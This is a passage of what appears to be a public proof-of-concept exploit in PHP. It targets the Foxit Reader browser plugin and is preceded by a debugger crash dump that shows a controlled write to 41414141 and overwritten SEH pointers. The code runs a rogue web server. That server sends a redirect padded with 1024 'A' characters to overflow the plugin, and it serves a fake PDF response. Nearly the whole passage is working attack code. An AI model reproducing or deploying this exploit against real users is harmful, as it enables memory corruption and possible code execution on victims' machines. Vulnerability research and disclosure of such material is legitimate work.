(f48.1778): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0076ed4c ebx=00000341 ecx=002cf414 edx=002cf414 esi=41414141 edi=0076e9e8
eip=10016852 esp=002cf3f8 ebp=75eacdf8 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
npFoxitReaderPlugin!NP_GetEntryPoints+0x15672:
10016852 8906 mov dword ptr [esi],eax ds:0023:41414141=????????
...
Attempt to write to address 41414141
...
also SEH pointers are overwritten
*/
error_reporting(0);
set_time_limit(0);
$port = 6666;
$____redirect = "HTTP/1.1 301 Moved Permanently\r\n".
"Server: Apache\r\n".
"Location: /x.pdf?".str_repeat("A",1024)."\r\n".
"Content-Type: text/html\r\n\r\n";
$____boom = "HTTP/1.1 200 OK\r\n".
"Server: Apache\r\n".
"Accept-Ranges: bytes\r\n".
"Content-Length: 60137\r\n".
"Content-Type: application/pdf\r\n".
"Connection: keep-alive\r\n\r\n";
$socket = stream_socket_server("tcp://0.0.0.0:".$port, $errno, $errstr);
if (!$socket) {
echo "$errstr ($errno)\n";
} else {
echo "Listening on public tcp port ".$port." \n";
while ($conn = stream_socket_accept($socket)) {
$line=fgets($conn);
echo $line."\n";
if (strpos($line,".pdf")){
fwrite($conn,$____boom);
}
else {
fwrite($conn,$____redirect);
}
fclose($conn);
}
fclose($socket);
}
?>
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